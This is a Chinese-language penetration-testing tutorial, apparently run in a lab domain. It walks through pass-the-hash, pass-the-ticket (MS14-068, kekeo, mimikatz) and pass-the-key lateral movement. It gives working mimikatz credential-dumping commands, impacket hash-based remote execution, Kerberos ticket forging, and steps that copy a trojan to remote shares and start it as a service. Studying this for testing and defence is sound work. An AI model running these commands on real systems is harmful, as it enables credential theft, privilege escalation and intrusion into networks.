PTH
什么是PTH?
pass the hash:哈希传递攻击,简称PTH,是在内网渗透中一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash或NTLM Hash访问远程主机或服务,而不用提供明文密码。
在域环境中,用户登录计算机时使用的大部分都是域账号,大量计算机在安装时会使用相同的本地管理员账户密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。因此,此类攻击适用于:
- 域/工作组环境
- 可以获得hash,但是条件不允许对hash进行爆破
- 内网中存在和当前机器相同的密码
另外需要注意在Windows server 2012 R2 之前使用到的密码散列值是LM Hash、NTLM Hash,在2012 R2及其版本之后使用到的密码散列值是NTLM Hash。
PTH利用手法
当前演示环境如下:
如上图,该内网环境,域名为gog.org,共有3台机器,其中攻击者已经拿下了与该环境的Webserver,并读取到了该机器中的hash,接下来让我们尝试通过哈希传递的方式获取内网其他两台机器的控制权
mimikatz
其中我们的神器mimikatz就可以进行PTH攻击,但是mimikatz中的PTH攻击会在当前目标机器桌面中弹一个cmd窗口,所以不适合CS使用,适合获得当前目标桌面权限后再使用该命令去进行横向移动。
首先我们先在Webserver中上传mimikatz,并读取hash:
privilege::debug # 提升权限
sekurlsa::logonpasswords # 抓取密码
获得本地管理员用户的Hash后,用mimikatz将administrator的hash添加到lsass进程中
sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c
成功后会弹出一个新的cmd窗口,这时再去访问远程主机服务,就不需要提供明文密码了,直接连接即可
这时我们将192.168.3.32上线到CS中,就可使用将木马复制到该机器中,然后使用sc创建一个服务绑定木马,然后启动该服务上线即可,具体实现命令如下:
copy 4444.exe \\192.168.3.32\c$\ # 上传木马到目标机器中
sc \\192.168.3.32 create bindshell binpath= "c:\4444.exe" # 创建shell服务并绑定文件
可以看到目标机器中已经创建了bindshell服务,这里我们直接启用该服务即可
sc \\192.168.3.32 start bindshell # 启动bindshell服务
启动之后3.32成功上线。但是,在使用mimikatz进行哈希传递攻击时需要注意以下几点:
- 使用mimikatz进行哈希传递要具有本地管理员权限
dir命令后面尽量跟主机名,否则可能会报错
impacket套件
除了mimikatz之外,像之前我们提到的impacket中的smbexec、wmiexec、psexec都可以进行PTH攻击。
python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.32 "whoami"
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
PTT
pass the ticket:票据传递攻击,简称PTT,利用的票据凭证TGT进行的横向移动,它是利用Kerberos协议进行攻击的,这里介绍三种常见的攻击方法:MS14-068、Golden Ticket、SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
缺点:票据是有效期的,一般默认为10小时。MS14-068
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在其Kerberos票据(TGT)中插入任意PAC。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中,用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
MS14-068所造成的危害是允许域内任何一个普通用户都可以将自己提升为域管权限。微软给出的修复补丁是KB3011780,漏洞攻击是否成功要看目标机器打没打KB3011780补丁。漏洞利用
可以看到当前我们所处的身份是域内的一个普通用户,是无法对域控进行文件操作的。
这里我们第一步先获取当前机器的SIDshell whoami/user
拿到SID后,使用我们的ms14-068.exe生成一个票据文件。-u指定当前用户,-s 输入我们刚刚获取到的SID,-p输入当前用户密码,具体命令如下shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
执行该命令后可以看到当前目录生成了一个票据文件。
这里生成票据文件后,就可以尝试连接目标看能否进行操作
首先清除下票据,以防该连接是以之前的票据进行连接的shell klist purge
票据为空后,这里我们直接开始使用mimikatz导入票据,之后再来查看当前电脑的票据信息,看其是否有产生新的票据mimikatz kerberos::ptc TGT_webadmin@god.org.ccache shell klist
票据为空后,这里我们直接尝试与目标主机进行连接创建服务进行上线(这里建议在连接时,使用主机名进行连接,IP地址容易产生失败的问题)shell net use \\OWA2010CN-GOD\c$ shell copy 4444.exe \\OWA2010CN-GOD\c$ shell sc \\OWA2010CN-GOD create binshel1 binpath= "c:\4444.exe" shell sc \\OWA2010-GOD start binshel1
成功执行上线到CS,相对来说,MS14-068这个漏洞利用条件较为简单,如果域控没有打KB3011780补丁,哪怕一个普通用户权限也可以去尝试该漏洞进行利用。kekeo
利用获取到的NTLM生成新的票据去尝试,成功与否看NTLM是否正确
缺点:票据是有效期的,所以如果当前主机在链接过域控的话,有效期内可利用。
kekeo和下面的mimikatz与刚刚我们上面的ms14-068原理不太一样,ms14-068是基于漏洞,去允许域内任何一个普通用户将自己提升为域管权限,而kekeo和mimikatz是基于hash生成票据,然后再进行连接。
这里假设我们已经通过横向其他机器,拿到了域控的hash,然后通过kekeo来伪造票据进行连接。
首先来看我们现在跳板机中的票据是空的shell klist
然后上传我们的kekeo文件,首先先生成票据shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
生成好后,可以看到当前目录会生成一个文件
该文件就是我们刚刚所生成的票据文件,接下来我们将它导入到内存中后,再来看我们的当前跳板机中有没有新增票据shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit" shell klist
可以看到成功导入了一个票据,那这里我们对域控进行尝试连接shell dir \\owa2010cn-god\c$
成功连接,那现在我相信大家可能都有一个疑问,就是现在都有了hash了,我直接使用pth去横向他不是更方便吗,为什么还要多此一举去生成票据之后,再用票据去进行横向呢?
当然也是可以的,但是因为pth他所基于的协议,如smb、wmi、icp等,他们都依赖于135、445、139等端口等,那如果在环境中,出现端口、协议被禁用的情况的话,可以尝试使用得到的hash生成票据来进行横向。MIMIKATZ
因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后在导入票据,利用,该方法类似于cookie欺骗。去利用历史遗留的票据重新认证尝试,成功与否看当前主机有没有被目标主机连接过。
缺点:需要高权限用户
在进行本实验之前,需要先模拟一下域管用户在本机上的连接操作,留下票据之后在进行横向操作(可以在域控中远程链接一下跳板机或向C盘写入一个文件并认证)。
如上图,我们假设这条票据是之前域管用户在跳板机中留下的历史票据,那这里我们可以使用mimikatz进行伪造票据。
首先我们先将内存中的票据导出mimikatz sekurlsa::tickets /export
导出后可以看到当前目录会出现一个票据文件
这里再将其导入到内存中mimikatz kerberos::ptt C:\Users\webadmin\Desktop\TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
导入成功后,这里我们直接进行对靶标进行连接shell net use \\owa2010cn-god\c$ shell dir \\OWA2010CN-GOD\c$
PTK
pass the key:密钥传递攻击,简称PTK,利用的ekeys aes256进行的横向移动,成功几率不是很高,利用条件苛刻
漏洞利用条件:
当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的NTLM hash就失去了作用,但是可以通过PTK的攻击方式获得权限。
首先使用mimikatz导出aes值mimikatz sekurlsa::ekeys
导出后使用我们下面这条命令来进行利用mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值 mimikatz sekurlsa::pth /user:administrator /domain:god /aes256:1811e5811877a782b6c11e2b0165ffb88d40a633f922a012372095a43d72d7ae
执行后会在桌面弹出一个cmd窗口,这里就可以进行横向移动利用,但是上文也讲了,该移动方法的利用条件有点苛刻,他是目标系统必须打了KB2871997且禁用了NTLM hash传递时,才可以利用,但是由于我们的靶场环境并没有打KB2871997补丁且没有禁用NTLM Hash,故无法利用成功。且当一个思路吧。